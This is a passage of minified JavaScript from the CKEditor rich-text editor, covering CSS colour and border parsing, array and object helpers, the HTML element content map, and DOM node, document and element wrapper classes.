mediumseagreen:"#3CB371",mediumslateblue:"#7B68EE",mediumspringgreen:"#00FA9A",mediumturquoise:"#48D1CC",mediumvioletred:"#C71585",midnightblue:"#191970",mintcream:"#F5FFFA",mistyrose:"#FFE4E1",moccasin:"#FFE4B5",navajowhite:"#FFDEAD",navy:"#000080",oldlace:"#FDF5E6",olive:"#808000",olivedrab:"#6B8E23",orange:"#FFA500",orangered:"#FF4500",orchid:"#DA70D6",palegoldenrod:"#EEE8AA",palegreen:"#98FB98",paleturquoise:"#AFEEEE",palevioletred:"#DB7093",papayawhip:"#FFEFD5",peachpuff:"#FFDAB9",peru:"#CD853F",
pink:"#FFC0CB",plum:"#DDA0DD",powderblue:"#B0E0E6",purple:"#800080",rebeccapurple:"#663399",red:"#FF0000",rosybrown:"#BC8F8F",royalblue:"#4169E1",saddlebrown:"#8B4513",salmon:"#FA8072",sandybrown:"#F4A460",seagreen:"#2E8B57",seashell:"#FFF5EE",sienna:"#A0522D",silver:"#C0C0C0",skyblue:"#87CEEB",slateblue:"#6A5ACD",slategray:"#708090",slategrey:"#708090",snow:"#FFFAFA",springgreen:"#00FF7F",steelblue:"#4682B4",tan:"#D2B48C",teal:"#008080",thistle:"#D8BFD8",tomato:"#FF6347",turquoise:"#40E0D0",violet:"#EE82EE",
windowtext:"windowtext",wheat:"#F5DEB3",white:"#FFFFFF",whitesmoke:"#F5F5F5",yellow:"#FFFF00",yellowgreen:"#9ACD32"},_borderStyle:"none hidden dotted dashed solid double groove ridge inset outset".split(" "),_widthRegExp:/^(thin|medium|thick|[\+-]?\d+(\.\d+)?[a-z%]+|[\+-]?0+(\.0+)?|\.\d+[a-z%]+)$/,_rgbaRegExp:/rgba?\(\s*\d+%?\s*,\s*\d+%?\s*,\s*\d+%?\s*(?:,\s*[0-9.]+\s*)?\)/gi,_hslaRegExp:/hsla?\(\s*[0-9.]+\s*,\s*\d+%\s*,\s*\d+%\s*(?:,\s*[0-9.]+\s*)?\)/gi,background:function(a){var g={},d=this._findColor(a);
d.length&&(g.color=d[0],CKEDITOR.tools.array.forEach(d,function(g){a=a.replace(g,"")}));if(a=CKEDITOR.tools.trim(a))g.unprocessed=a;return g},margin:function(a){return CKEDITOR.tools.style.parse.sideShorthand(a,function(a){return a.match(/(?:\-?[\.\d]+(?:%|\w*)|auto|inherit|initial|unset|revert)/g)||["0px"]})},sideShorthand:function(a,g){function d(a){b.top=c[a[0]];b.right=c[a[1]];b.bottom=c[a[2]];b.left=c[a[3]]}var b={},c=g?g(a):a.split(/\s+/);switch(c.length){case 1:d([0,0,0,0]);break;case 2:d([0,
1,0,1]);break;case 3:d([0,1,2,1]);break;case 4:d([0,1,2,3])}return b},border:function(a){return CKEDITOR.tools.style.border.fromCssRule(a)},_findColor:function(a){var g=[],d=CKEDITOR.tools.array,g=g.concat(a.match(this._rgbaRegExp)||[]),g=g.concat(a.match(this._hslaRegExp)||[]);return g=g.concat(d.filter(a.split(/\s+/),function(a){return a.match(/^\#[a-f0-9]{3}(?:[a-f0-9]{3})?$/gi)?!0:a.toLowerCase()in CKEDITOR.tools.style.parse._colors}))}}},array:{filter:function(a,g,d){var b=[];this.forEach(a,
function(c,e){g.call(d,c,e,a)&&b.push(c)});return b},find:function(a,g,d){for(var b=a.length,c=0;c<b;){if(g.call(d,a[c],c,a))return a[c];c++}},forEach:function(a,g,d){var b=a.length,c;for(c=0;c<b;c++)g.call(d,a[c],c,a)},map:function(a,g,d){for(var b=[],c=0;c<a.length;c++)b.push(g.call(d,a[c],c,a));return b},reduce:function(a,g,d,b){for(var c=0;c<a.length;c++)d=g.call(b,d,a[c],c,a);return d},every:function(a,g,d){if(!a.length)return!0;g=this.filter(a,g,d);return a.length===g.length},some:function(a,
g,d){for(var b=0;b<a.length;b++)if(g.call(d,a[b],b,a))return!0;return!1}},object:{DONT_ENUMS:"toString toLocaleString valueOf hasOwnProperty isPrototypeOf propertyIsEnumerable constructor".split(" "),entries:function(a){return CKEDITOR.tools.array.map(CKEDITOR.tools.object.keys(a),function(g){return[g,a[g]]})},values:function(a){return CKEDITOR.tools.array.map(CKEDITOR.tools.object.keys(a),function(g){return a[g]})},keys:function(a){var g=Object.prototype.hasOwnProperty,d=[],b=CKEDITOR.tools.object.DONT_ENUMS;
if(CKEDITOR.env.ie&&9>CKEDITOR.env.version&&(!a||"object"!==typeof a)){g=[];if("string"===typeof a)for(d=0;d<a.length;d++)g.push(String(d));return g}for(var c in a)d.push(c);if(CKEDITOR.env.ie&&9>CKEDITOR.env.version)for(c=0;c<b.length;c++)g.call(a,b[c])&&d.push(b[c]);return d},findKey:function(a,g){if("object"!==typeof a)return null;for(var d in a)if(a[d]===g)return d;return null},merge:function(a,g){var d=CKEDITOR.tools,b=d.clone(a),c=d.clone(g);d.array.forEach(d.object.keys(c),function(a){b[a]=
"object"===typeof c[a]&&"object"===typeof b[a]?d.object.merge(b[a],c[a]):c[a]});return b}},getAbsoluteRectPosition:function(a,g){function d(a){if(a){var g=a.getClientRect();b.top+=g.top;b.left+=g.left;"x"in b&&"y"in b&&(b.x+=g.x,b.y+=g.y);d(a.getWindow().getFrame())}}var b=CKEDITOR.tools.copy(g);d(a.getFrame());var c=CKEDITOR.document.getWindow().getScrollPosition();b.top+=c.y;b.left+=c.x;"x"in b&&"y"in b&&(b.y+=c.y,b.x+=c.x);b.right=b.left+b.width;b.bottom=b.top+b.height;return b}};a.prototype={reset:function(){this._lastOutput=
0;this._clearTimer()},_reschedule:function(){return!1},_call:function(){this._output()},_clearTimer:function(){this._scheduledTimer&&clearTimeout(this._scheduledTimer);this._scheduledTimer=0}};f.prototype=CKEDITOR.tools.prototypedCopy(a.prototype);f.prototype._reschedule=function(){this._scheduledTimer&&this._clearTimer()};f.prototype._call=function(){this._output.apply(this._context,this._args)};CKEDITOR.tools.buffers={};CKEDITOR.tools.buffers.event=a;CKEDITOR.tools.buffers.throttle=f;CKEDITOR.tools.style.border=
CKEDITOR.tools.createClass({$:function(a){a=a||{};this.width=a.width;this.style=a.style;this.color=a.color;this._.normalize()},_:{normalizeMap:{color:[[/windowtext/g,"black"]]},normalize:function(){for(var a in this._.normalizeMap){var g=this[a];g&&(this[a]=CKEDITOR.tools.array.reduce(this._.normalizeMap[a],function(a,g){return a.replace(g[0],g[1])},g))}}},proto:{toString:function(){return CKEDITOR.tools.array.filter([this.width,this.style,this.color],function(a){return!!a}).join(" ")}},statics:{fromCssRule:function(a){var g=
{},d=a.split(/\s+/g);a=CKEDITOR.tools.style.parse._findColor(a);a.length&&(g.color=a[0]);CKEDITOR.tools.array.forEach(d,function(a){g.style||-1===CKEDITOR.tools.indexOf(CKEDITOR.tools.style.parse._borderStyle,a)?!g.width&&CKEDITOR.tools.style.parse._widthRegExp.test(a)&&(g.width=a):g.style=a});return new CKEDITOR.tools.style.border(g)},splitCssValues:function(a,g){g=g||{};var d=CKEDITOR.tools.array.reduce(["width","style","color"],function(d,b){var c=a["border-"+b]||g[b];d[b]=c?CKEDITOR.tools.style.parse.sideShorthand(c):
null;return d},{});return CKEDITOR.tools.array.reduce(["top","right","bottom","left"],function(g,b){var c={},e;for(e in d){var k=a["border-"+b+"-"+e];c[e]=k?k:d[e]&&d[e][b]}g["border-"+b]=new CKEDITOR.tools.style.border(c);return g},{})}}});CKEDITOR.tools.array.indexOf=CKEDITOR.tools.indexOf;CKEDITOR.tools.array.isArray=CKEDITOR.tools.isArray;CKEDITOR.MOUSE_BUTTON_LEFT=0;CKEDITOR.MOUSE_BUTTON_MIDDLE=1;CKEDITOR.MOUSE_BUTTON_RIGHT=2})();CKEDITOR.dtd=function(){var a=CKEDITOR.tools.extend,f=function(a,
g){for(var d=CKEDITOR.tools.clone(a),b=1;b<arguments.length;b++){g=arguments[b];for(var c in g)delete d[c]}return d},e={},b={},c={address:1,article:1,aside:1,blockquote:1,details:1,div:1,dl:1,fieldset:1,figure:1,footer:1,form:1,h1:1,h2:1,h3:1,h4:1,h5:1,h6:1,header:1,hgroup:1,hr:1,main:1,menu:1,nav:1,ol:1,p:1,pre:1,section:1,table:1,ul:1},m={command:1,link:1,meta:1,noscript:1,script:1,style:1},h={},l={"#":1},d={center:1,dir:1,noframes:1};a(e,{a:1,abbr:1,area:1,audio:1,b:1,bdi:1,bdo:1,br:1,button:1,
canvas:1,cite:1,code:1,command:1,datalist:1,del:1,dfn:1,em:1,embed:1,i:1,iframe:1,img:1,input:1,ins:1,kbd:1,keygen:1,label:1,map:1,mark:1,meter:1,noscript:1,object:1,output:1,progress:1,q:1,ruby:1,s:1,samp:1,script:1,select:1,small:1,span:1,strong:1,sub:1,sup:1,textarea:1,time:1,u:1,"var":1,video:1,wbr:1},l,{acronym:1,applet:1,basefont:1,big:1,font:1,isindex:1,strike:1,style:1,tt:1});a(b,c,e,d);f={a:f(e,{a:1,button:1}),abbr:e,address:b,area:h,article:b,aside:b,audio:a({source:1,track:1},b),b:e,base:h,
bdi:e,bdo:e,blockquote:b,body:b,br:h,button:f(e,{a:1,button:1}),canvas:e,caption:b,cite:e,code:e,col:h,colgroup:{col:1},command:h,datalist:a({option:1},e),dd:b,del:e,details:a({summary:1},b),dfn:e,div:b,dl:{dt:1,dd:1},dt:b,em:e,embed:h,fieldset:a({legend:1},b),figcaption:b,figure:a({figcaption:1},b),footer:b,form:b,h1:e,h2:e,h3:e,h4:e,h5:e,h6:e,head:a({title:1,base:1},m),header:b,hgroup:{h1:1,h2:1,h3:1,h4:1,h5:1,h6:1},hr:h,html:a({head:1,body:1},b,m),i:e,iframe:l,img:h,input:h,ins:e,kbd:e,keygen:h,
label:e,legend:e,li:b,link:h,main:b,map:b,mark:e,menu:a({li:1},b),meta:h,meter:f(e,{meter:1}),nav:b,noscript:a({link:1,meta:1,style:1},e),object:a({param:1},e),ol:{li:1},optgroup:{option:1},option:l,output:e,p:e,param:h,pre:e,progress:f(e,{progress:1}),q:e,rp:e,rt:e,ruby:a({rp:1,rt:1},e),s:e,samp:e,script:l,section:b,select:{optgroup:1,option:1},small:e,source:h,span:e,strong:e,style:l,sub:e,summary:a({h1:1,h2:1,h3:1,h4:1,h5:1,h6:1},e),sup:e,table:{caption:1,colgroup:1,thead:1,tfoot:1,tbody:1,tr:1},
tbody:{tr:1},td:b,textarea:l,tfoot:{tr:1},th:b,thead:{tr:1},time:f(e,{time:1}),title:l,tr:{th:1,td:1},track:h,u:e,ul:{li:1},"var":e,video:a({source:1,track:1},b),wbr:h,acronym:e,applet:a({param:1},b),basefont:h,big:e,center:b,dialog:h,dir:{li:1},font:e,isindex:h,noframes:b,strike:e,tt:e};a(f,{$block:a({audio:1,dd:1,dt:1,figcaption:1,li:1,video:1},c,d),$blockLimit:{article:1,aside:1,audio:1,body:1,caption:1,details:1,dir:1,div:1,dl:1,fieldset:1,figcaption:1,figure:1,footer:1,form:1,header:1,hgroup:1,
main:1,menu:1,nav:1,ol:1,section:1,table:1,td:1,th:1,tr:1,ul:1,video:1},$cdata:{script:1,style:1},$editable:{address:1,article:1,aside:1,blockquote:1,body:1,details:1,div:1,fieldset:1,figcaption:1,footer:1,form:1,h1:1,h2:1,h3:1,h4:1,h5:1,h6:1,header:1,hgroup:1,main:1,nav:1,p:1,pre:1,section:1},$empty:{area:1,base:1,basefont:1,br:1,col:1,command:1,dialog:1,embed:1,hr:1,img:1,input:1,isindex:1,keygen:1,link:1,meta:1,param:1,source:1,track:1,wbr:1},$inline:e,$list:{dl:1,ol:1,ul:1},$listItem:{dd:1,dt:1,
li:1},$nonBodyContent:a({body:1,head:1,html:1},f.head),$nonEditable:{applet:1,audio:1,button:1,embed:1,iframe:1,map:1,object:1,option:1,param:1,script:1,textarea:1,video:1},$object:{applet:1,audio:1,button:1,hr:1,iframe:1,img:1,input:1,object:1,select:1,table:1,textarea:1,video:1},$removeEmpty:{abbr:1,acronym:1,b:1,bdi:1,bdo:1,big:1,cite:1,code:1,del:1,dfn:1,em:1,font:1,i:1,ins:1,label:1,kbd:1,mark:1,meter:1,output:1,q:1,ruby:1,s:1,samp:1,small:1,span:1,strike:1,strong:1,sub:1,sup:1,time:1,tt:1,u:1,
"var":1},$tabIndex:{a:1,area:1,button:1,input:1,object:1,select:1,textarea:1},$tableContent:{caption:1,col:1,colgroup:1,tbody:1,td:1,tfoot:1,th:1,thead:1,tr:1},$transparent:{a:1,audio:1,canvas:1,del:1,ins:1,map:1,noscript:1,object:1,video:1},$intermediate:{caption:1,colgroup:1,dd:1,dt:1,figcaption:1,legend:1,li:1,optgroup:1,option:1,rp:1,rt:1,summary:1,tbody:1,td:1,tfoot:1,th:1,thead:1,tr:1}});return f}();CKEDITOR.dom.event=function(a){this.$=a};CKEDITOR.dom.event.prototype={getKey:function(){return this.$.keyCode||
this.$.which},getKeystroke:function(){var a=this.getKey();if(this.$.ctrlKey||this.$.metaKey)a+=CKEDITOR.CTRL;this.$.shiftKey&&(a+=CKEDITOR.SHIFT);this.$.altKey&&(a+=CKEDITOR.ALT);return a},preventDefault:function(a){var f=this.$;f.preventDefault?f.preventDefault():f.returnValue=!1;a&&this.stopPropagation()},stopPropagation:function(){var a=this.$;a.stopPropagation?a.stopPropagation():a.cancelBubble=!0},getTarget:function(){var a=this.$.target||this.$.srcElement;return a?new CKEDITOR.dom.node(a):null},
getPhase:function(){return this.$.eventPhase||2},getPageOffset:function(){var a=this.getTarget().getDocument().$;return{x:this.$.pageX||this.$.clientX+(a.documentElement.scrollLeft||a.body.scrollLeft),y:this.$.pageY||this.$.clientY+(a.documentElement.scrollTop||a.body.scrollTop)}}};CKEDITOR.CTRL=1114112;CKEDITOR.SHIFT=2228224;CKEDITOR.ALT=4456448;CKEDITOR.EVENT_PHASE_CAPTURING=1;CKEDITOR.EVENT_PHASE_AT_TARGET=2;CKEDITOR.EVENT_PHASE_BUBBLING=3;CKEDITOR.dom.domObject=function(a){a&&(this.$=a)};CKEDITOR.dom.domObject.prototype=
function(){var a=function(a,e){return function(b){"undefined"!=typeof CKEDITOR&&a.fire(e,new CKEDITOR.dom.event(b))}};return{getPrivate:function(){var a;(a=this.getCustomData("_"))||this.setCustomData("_",a={});return a},on:function(f){var e=this.getCustomData("_cke_nativeListeners");e||(e={},this.setCustomData("_cke_nativeListeners",e));e[f]||(e=e[f]=a(this,f),this.$.addEventListener?this.$.addEventListener(f,e,!!CKEDITOR.event.useCapture):this.$.attachEvent&&this.$.attachEvent("on"+f,e));return CKEDITOR.event.prototype.on.apply(this,
arguments)},removeListener:function(a){CKEDITOR.event.prototype.removeListener.apply(this,arguments);if(!this.hasListeners(a)){var e=this.getCustomData("_cke_nativeListeners"),b=e&&e[a];b&&(this.$.removeEventListener?this.$.removeEventListener(a,b,!1):this.$.detachEvent&&this.$.detachEvent("on"+a,b),delete e[a])}},removeAllListeners:function(){try{var a=this.getCustomData("_cke_nativeListeners"),e;for(e in a){var b=a[e];this.$.detachEvent?this.$.detachEvent("on"+e,b):this.$.removeEventListener&&this.$.removeEventListener(e,
b,!1);delete a[e]}}catch(c){if(!CKEDITOR.env.edge||-2146828218!==c.number)throw c;}CKEDITOR.event.prototype.removeAllListeners.call(this)}}}();(function(a){var f={};CKEDITOR.on("reset",function(){f={}});a.equals=function(a){try{return a&&a.$===this.$}catch(b){return!1}};a.setCustomData=function(a,b){var c=this.getUniqueId();(f[c]||(f[c]={}))[a]=b;return this};a.getCustomData=function(a){var b=this.$["data-cke-expando"];return(b=b&&f[b])&&a in b?b[a]:null};a.removeCustomData=function(a){var b=this.$["data-cke-expando"],
b=b&&f[b],c,m;b&&(c=b[a],m=a in b,delete b[a]);return m?c:null};a.clearCustomData=function(){this.removeAllListeners();var a=this.getUniqueId();a&&delete f[a]};a.getUniqueId=function(){return this.$["data-cke-expando"]||(this.$["data-cke-expando"]=CKEDITOR.tools.getNextNumber())};CKEDITOR.event.implementOn(a)})(CKEDITOR.dom.domObject.prototype);CKEDITOR.dom.node=function(a){return a?new CKEDITOR.dom[a.nodeType==CKEDITOR.NODE_DOCUMENT?"document":a.nodeType==CKEDITOR.NODE_ELEMENT?"element":a.nodeType==
CKEDITOR.NODE_TEXT?"text":a.nodeType==CKEDITOR.NODE_COMMENT?"comment":a.nodeType==CKEDITOR.NODE_DOCUMENT_FRAGMENT?"documentFragment":"domObject"](a):this};CKEDITOR.dom.node.prototype=new CKEDITOR.dom.domObject;CKEDITOR.NODE_ELEMENT=1;CKEDITOR.NODE_DOCUMENT=9;CKEDITOR.NODE_TEXT=3;CKEDITOR.NODE_COMMENT=8;CKEDITOR.NODE_DOCUMENT_FRAGMENT=11;CKEDITOR.POSITION_IDENTICAL=0;CKEDITOR.POSITION_DISCONNECTED=1;CKEDITOR.POSITION_FOLLOWING=2;CKEDITOR.POSITION_PRECEDING=4;CKEDITOR.POSITION_IS_CONTAINED=8;CKEDITOR.POSITION_CONTAINS=
16;CKEDITOR.tools.extend(CKEDITOR.dom.node.prototype,{appendTo:function(a,f){a.append(this,f);return a},clone:function(a,f){function e(b){b["data-cke-expando"]&&(b["data-cke-expando"]=!1);if(b.nodeType==CKEDITOR.NODE_ELEMENT||b.nodeType==CKEDITOR.NODE_DOCUMENT_FRAGMENT)if(f||b.nodeType!=CKEDITOR.NODE_ELEMENT||b.removeAttribute("id",!1),a){b=b.childNodes;for(var c=0;c<b.length;c++)e(b[c])}}function b(c){if(c.type==CKEDITOR.NODE_ELEMENT||c.type==CKEDITOR.NODE_DOCUMENT_FRAGMENT){if(c.type!=CKEDITOR.NODE_DOCUMENT_FRAGMENT){var e=
c.getName();":"==e[0]&&c.renameNode(e.substring(1))}if(a)for(e=0;e<c.getChildCount();e++)b(c.getChild(e))}}var c=this.$.cloneNode(a);e(c);c=new CKEDITOR.dom.node(c);CKEDITOR.env.ie&&9>CKEDITOR.env.version&&(this.type==CKEDITOR.NODE_ELEMENT||this.type==CKEDITOR.NODE_DOCUMENT_FRAGMENT)&&b(c);return c},hasPrevious:function(){return!!this.$.previousSibling},hasNext:function(){return!!this.$.nextSibling},insertAfter:function(a){a.$.parentNode.insertBefore(this.$,a.$.nextSibling);return a},insertBefore:function(a){a.$.parentNode.insertBefore(this.$,
a.$);return a},insertBeforeMe:function(a){this.$.parentNode.insertBefore(a.$,this.$);return a},getAddress:function(a){for(var f=[],e=this.getDocument().$.documentElement,b=this;b&&b!=e;){var c=b.getParent();c&&f.unshift(this.getIndex.call(b,a));b=c}return f},getDocument:function(){return new CKEDITOR.dom.document(this.$.ownerDocument||this.$.parentNode.ownerDocument)},getIndex:function(a){function f(a,b){var c=b?a.getNext():a.getPrevious();return c&&c.type==CKEDITOR.NODE_TEXT?c.isEmpty()?f(c,b):c:
null}var e=this,b=-1,c;if(!this.getParent()||a&&e.type==CKEDITOR.NODE_TEXT&&e.isEmpty()&&!f(e)&&!f(e,!0))return-1;do if(!a||e.equals(this)||e.type!=CKEDITOR.NODE_TEXT||!c&&!e.isEmpty())b++,c=e.type==CKEDITOR.NODE_TEXT;while(e=e.getPrevious());return b},getNextSourceNode:function(a,f,e){if(e&&!e.call){var b=e;e=function(a){return!a.equals(b)}}a=!a&&this.getFirst&&this.getFirst();var c;if(!a){if(this.type==CKEDITOR.NODE_ELEMENT&&e&&!1===e(this,!0))return null;a=this.getNext()}for(;!a&&(c=(c||this).getParent());){if(e&&
!1===e(c,!0))return null;a=c.getNext()}return!a||e&&!1===e(a)?null:f&&f!=a.type?a.getNextSourceNode(!1,f,e):a},getPreviousSourceNode:function(a,f,e){if(e&&!e.call){var b=e;e=function(a){return!a.equals(b)}}a=!a&&this.getLast&&this.getLast();var c;if(!a){if(this.type==CKEDITOR.NODE_ELEMENT&&e&&!1===e(this,!0))return null;a=this.getPrevious()}for(;!a&&(c=(c||this).getParent());){if(e&&!1===e(c,!0))return null;a=c.getPrevious()}return!a||e&&!1===e(a)?null:f&&a.type!=f?a.getPreviousSourceNode(!1,f,e):
a},getPrevious:function(a){var f=this.$,e;do e=(f=f.previousSibling)&&10!=f.nodeType&&new CKEDITOR.dom.node(f);while(e&&a&&!a(e));return e},getNext:function(a){var f=this.$,e;do e=(f=f.nextSibling)&&new CKEDITOR.dom.node(f);while(e&&a&&!a(e));return e},getParent:function(a){var f=this.$.parentNode;return f&&(f.nodeType==CKEDITOR.NODE_ELEMENT||a&&f.nodeType==CKEDITOR.NODE_DOCUMENT_FRAGMENT)?new CKEDITOR.dom.node(f):null},getParents:function(a){var f=this,e=[];do e[a?"push":"unshift"](f);while(f=f.getParent());
return e},getCommonAncestor:function(a){if(a.equals(this))return this;if(a.contains&&a.contains(this))return a;var f=this.contains?this:this.getParent();do if(f.contains(a))return f;while(f=f.getParent());return null},getPosition:function(a){var f=this.$,e=a.$;if(f.compareDocumentPosition)return f.compareDocumentPosition(e);if(f==e)return CKEDITOR.POSITION_IDENTICAL;if(this.type==CKEDITOR.NODE_ELEMENT&&a.type==CKEDITOR.NODE_ELEMENT){if(f.contains){if(f.contains(e))return CKEDITOR.POSITION_CONTAINS+
CKEDITOR.POSITION_PRECEDING;if(e.contains(f))return CKEDITOR.POSITION_IS_CONTAINED+CKEDITOR.POSITION_FOLLOWING}if("sourceIndex"in f)return 0>f.sourceIndex||0>e.sourceIndex?CKEDITOR.POSITION_DISCONNECTED:f.sourceIndex<e.sourceIndex?CKEDITOR.POSITION_PRECEDING:CKEDITOR.POSITION_FOLLOWING}f=this.getAddress();a=a.getAddress();for(var e=Math.min(f.length,a.length),b=0;b<e;b++)if(f[b]!=a[b])return f[b]<a[b]?CKEDITOR.POSITION_PRECEDING:CKEDITOR.POSITION_FOLLOWING;return f.length<a.length?CKEDITOR.POSITION_CONTAINS+
CKEDITOR.POSITION_PRECEDING:CKEDITOR.POSITION_IS_CONTAINED+CKEDITOR.POSITION_FOLLOWING},getAscendant:function(a,f){var e=this.$,b,c;f||(e=e.parentNode);"function"==typeof a?(c=!0,b=a):(c=!1,b=function(b){b="string"==typeof b.nodeName?b.nodeName.toLowerCase():"";return"string"==typeof a?b==a:b in a});for(;e;){if(b(c?new CKEDITOR.dom.node(e):e))return new CKEDITOR.dom.node(e);try{e=e.parentNode}catch(m){e=null}}return null},hasAscendant:function(a,f){var e=this.$;f||(e=e.parentNode);for(;e;){if(e.nodeName&&
e.nodeName.toLowerCase()==a)return!0;e=e.parentNode}return!1},move:function(a,f){a.append(this.remove(),f)},remove:function(a){var f=this.$,e=f.parentNode;if(e){if(a)for(;a=f.firstChild;)e.insertBefore(f.removeChild(a),f);e.removeChild(f)}return this},replace:function(a){this.insertBefore(a);a.remove()},trim:function(){this.ltrim();this.rtrim()},ltrim:function(){for(var a;this.getFirst&&(a=this.getFirst());){if(a.type==CKEDITOR.NODE_TEXT){var f=CKEDITOR.tools.ltrim(a.getText()),e=a.getLength();if(f)f.length<
e&&(a.split(e-f.length),this.$.removeChild(this.$.firstChild));else{a.remove();continue}}break}},rtrim:function(){for(var a;this.getLast&&(a=this.getLast());){if(a.type==CKEDITOR.NODE_TEXT){var f=CKEDITOR.tools.rtrim(a.getText()),e=a.getLength();if(f)f.length<e&&(a.split(f.length),this.$.lastChild.parentNode.removeChild(this.$.lastChild));else{a.remove();continue}}break}CKEDITOR.env.needsBrFiller&&(a=this.$.lastChild)&&1==a.type&&"br"==a.nodeName.toLowerCase()&&a.parentNode.removeChild(a)},isReadOnly:function(a){var f=
this;this.type!=CKEDITOR.NODE_ELEMENT&&(f=this.getParent());CKEDITOR.env.edge&&f&&f.is("textarea","input")&&(a=!0);if(!a&&f&&"undefined"!=typeof f.$.isContentEditable)return!(f.$.isContentEditable||f.data("cke-editable"));for(;f;){if(f.data("cke-editable"))return!1;if(f.hasAttribute("contenteditable"))return"false"==f.getAttribute("contenteditable");f=f.getParent()}return!0}});CKEDITOR.dom.window=function(a){CKEDITOR.dom.domObject.call(this,a)};CKEDITOR.dom.window.prototype=new CKEDITOR.dom.domObject;
CKEDITOR.tools.extend(CKEDITOR.dom.window.prototype,{focus:function(){this.$.focus()},getViewPaneSize:function(){var a=this.$.document,f="CSS1Compat"==a.compatMode;return{width:(f?a.documentElement.clientWidth:a.body.clientWidth)||0,height:(f?a.documentElement.clientHeight:a.body.clientHeight)||0}},getScrollPosition:function(){var a=this.$;if("pageXOffset"in a)return{x:a.pageXOffset||0,y:a.pageYOffset||0};a=a.document;return{x:a.documentElement.scrollLeft||a.body.scrollLeft||0,y:a.documentElement.scrollTop||
a.body.scrollTop||0}},getFrame:function(){var a=this.$.frameElement;return a?new CKEDITOR.dom.element.get(a):null}});CKEDITOR.dom.document=function(a){CKEDITOR.dom.domObject.call(this,a)};CKEDITOR.dom.document.prototype=new CKEDITOR.dom.domObject;CKEDITOR.tools.extend(CKEDITOR.dom.document.prototype,{type:CKEDITOR.NODE_DOCUMENT,appendStyleSheet:function(a){if(this.$.createStyleSheet)this.$.createStyleSheet(a);else{var f=new CKEDITOR.dom.element("link");f.setAttributes({rel:"stylesheet",type:"text/css",
href:a});this.getHead().append(f)}},appendStyleText:function(a){if(this.$.createStyleSheet){var f=this.$.createStyleSheet("");f.cssText=a}else{var e=new CKEDITOR.dom.element("style",this);e.append(new CKEDITOR.dom.text(a,this));this.getHead().append(e)}return f||e.$.sheet},createElement:function(a,f){var e=new CKEDITOR.dom.element(a,this);f&&(f.attributes&&e.setAttributes(f.attributes),f.styles&&e.setStyles(f.styles));return e},createText:function(a){return new CKEDITOR.dom.text(a,this)},focus:function(){this.getWindow().focus()},
getActive:function(){var a;try{a=this.$.activeElement}catch(f){return null}return new CKEDITOR.dom.element(a)},getById:function(a){return(a=this.$.getElementById(a))?new CKEDITOR.dom.element(a):null},getByAddress:function(a,f){for(var e=this.$.documentElement,b=0;e&&b<a.length;b++){var c=a[b];if(f)for(var m=-1,h=0;h<e.childNodes.length;h++){var l=e.childNodes[h];if(!0!==f||3!=l.nodeType||!l.previousSibling||3!=l.previousSibling.nodeType)if(m++,m==c){e=l;break}}else e=e.childNodes[c]}return e?new CKEDITOR.dom.node(e):
null},getElementsByTag:function(a,f){CKEDITOR.env.ie&&8>=document.documentMode||!f||(a=f+":"+a);return new CKEDITOR.dom.nodeList(this.$.getElementsByTagName(a))},getHead:function(){var a=this.$.getElementsByTagName("head")[0];return a=a?new CKEDITOR.dom.element(a):this.getDocumentElement().append(new CKEDITOR.dom.element("head"),!0)},getBody:function(){return new CKEDITOR.dom.element(this.$.body)},getDocumentElement:function(){return new CKEDITOR.dom.element(this.$.documentElement)},getWindow:function(){return new CKEDITOR.dom.window(this.$.parentWindow||
this.$.defaultView)},write:function(a){this.$.open("text/html","replace");CKEDITOR.env.ie&&(a=a.replace(/(?:^\s*<!DOCTYPE[^>]*?>)|^/i,'$\x26\n\x3cscript data-cke-temp\x3d"1"\x3e('+CKEDITOR.tools.fixDomain+")();\x3c/script\x3e"));this.$.write(a);this.$.close()},find:function(a){return new CKEDITOR.dom.nodeList(this.$.querySelectorAll(a))},findOne:function(a){return(a=this.$.querySelector(a))?new CKEDITOR.dom.element(a):null},_getHtml5ShivFrag:function(){var a=this.getCustomData("html5ShivFrag");a||
(a=this.$.createDocumentFragment(),CKEDITOR.tools.enableHtml5Elements(a,!0),this.setCustomData("html5ShivFrag",a));return a}});CKEDITOR.dom.nodeList=function(a){this.$=a};CKEDITOR.dom.nodeList.prototype={count:function(){return this.$.length},getItem:function(a){return 0>a||a>=this.$.length?null:(a=this.$[a])?new CKEDITOR.dom.node(a):null},toArray:function(){return CKEDITOR.tools.array.map(this.$,function(a){return new CKEDITOR.dom.node(a)})}};CKEDITOR.dom.element=function(a,f){"string"==typeof a&&
(a=(f?f.$:document).createElement(a));CKEDITOR.dom.domObject.call(this,a)};CKEDITOR.dom.element.get=function(a){return(a="string"==typeof a?document.getElementById(a)||document.getElementsByName(a)[0]:a)&&(a.$?a:new CKEDITOR.dom.element(a))};CKEDITOR.dom.element.prototype=new CKEDITOR.dom.node;CKEDITOR.dom.element.createFromHtml=function(a,f){var e=new CKEDITOR.dom.element("div",f);e.setHtml(a);return e.getFirst().remove()};CKEDITOR.dom.element.setMarker=function(a,f,e,b){var c=f.getCustomData("list_marker_id")||
f.setCustomData("list_marker_id",CKEDITOR.tools.getNextNumber()).getCustomData("list_marker_id"),m=f.getCustomData("list_marker_names")||f.setCustomData("list_marker_names",{}).getCustomData("list_marker_names");a[c]=f;m[e]=1;return f.setCustomData(e,b)};CKEDITOR.dom.element.clearAllMarkers=function(a){for(var f in a)CKEDITOR.dom.element.clearMarkers(a,a[f],1)};CKEDITOR.dom.element.clearMarkers=function(a,f,e){var b=f.getCustomData("list_marker_names"),c=f.getCustomData("list_marker_id"),m;for(m in b)f.removeCustomData(m);
f.removeCustomData("list_marker_names");e&&(f.removeCustomData("list_marker_id"),delete a[c])};(function(){function a(a,d){return-1<(" "+a+" ").replace(m," ").indexOf(" "+d+" ")}function f(a){var d=!0;a.$.id||(a.$.id="cke_tmp_"+CKEDITOR.tools.getNextNumber(),d=!1);return function(){d||a.removeAttribute("id")}}function e(a,d){var b=CKEDITOR.tools.escapeCss(a.$.id);return"#"+b+" "+d.split(/,\s*/).join(", #"+b+" ")}function b(a){for(var d=0,b=0,g=h[a].length;b<g;b++)d+=parseFloat(this.getComputedStyle(h[a][b])||
0,10)||0;return d}var c=document.createElement("_").classList,c="undefined"!==typeof c&&null!==String(c.add).match(/\[Native code\]/gi),m=/[\n\t\r]/g;CKEDITOR.tools.extend(CKEDITOR.dom.element.prototype,{type:CKEDITOR.NODE_ELEMENT,addClass:c?function(a){this.$.classList.add(a);return this}:function(b){var d=this.$.className;d&&(a(d,b)||(d+=" "+b));this.$.className=d||b;return this},removeClass:c?function(a){var d=this.$;d.classList.remove(a);d.className||d.removeAttribute("class");return this}:function(b){var d=
